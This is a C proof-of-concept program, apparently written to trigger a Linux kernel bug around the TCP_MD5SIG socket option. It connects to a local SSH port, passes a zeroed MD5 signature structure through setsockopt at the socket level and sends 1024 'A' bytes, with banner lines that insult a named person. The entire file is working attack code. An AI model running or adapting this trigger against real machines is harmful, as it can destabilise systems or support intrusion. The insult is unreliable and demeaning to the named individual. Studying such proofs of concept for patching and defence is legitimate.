#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/time.h>
#include <time.h>
#include <sys/ioctl.h>

#define TCP_MD5SIG     14
#define D_HOST         "127.0.0.1"
#define D_PORT         22

struct tcp_md5sig {
	unsigned short pad1;
	unsigned short keylen;
	unsigned int   pad2;
	unsigned char  tcp_key[80];
};
int main(int argc, char **argv)
{
	int sd  = 0;
       	int ret = 0;
	int op  = 0;
	char *buf1;
	struct tcp_md5sig ksig;
        struct sockaddr_in l_addr;
	printf("---------[Stupid Setsockopt: Linux TCP_MD5SIG\n");
	printf("---------[Anthony LaMantia IS NOT COOL<anthony@cellcrypt.com>\n");
	sd = socket(PF_INET, SOCK_STREAM, 0);
        if (sd < 0) {
		printf("---------[error: socket()\n");
                return -1;
        }
	printf("---------[socket: ok\n");
        l_addr.sin_family = AF_INET;
        l_addr.sin_port = htons(D_PORT);
        l_addr.sin_addr.s_addr = inet_addr(D_HOST);
        memset(&(l_addr.sin_zero), 0,8);
	
        if ((ret = connect(sd,(struct sockaddr *)&l_addr,sizeof(struct sockaddr))) < 0) {
		printf("---------[error: connect() (%s:%i)\n", D_HOST, D_PORT);
	}
	printf("---------[connect(): (%s:%i)\n", D_HOST, D_PORT);
	memset((char *)&ksig, 0, sizeof(ksig));
	ret = setsockopt(sd, SOL_SOCKET,  TCP_MD5SIG, &ksig, sizeof(ksig));
	if (ret == -1) {
		printf("---------[error: setsockopt() == -1\n");
	}
	printf("---------[setsockopt: val: %i return %x\n",TCP_MD5SIG, ret);      
	buf1 = alloca(1024);
	memset(buf1, '\x41', 1024);

	printf("---------[Sent: %i bytes to (%s:%i) SNIFF for MD5\n",
	       send(sd, buf1, 1024, 0), D_HOST, D_PORT);
	
	return 0;
}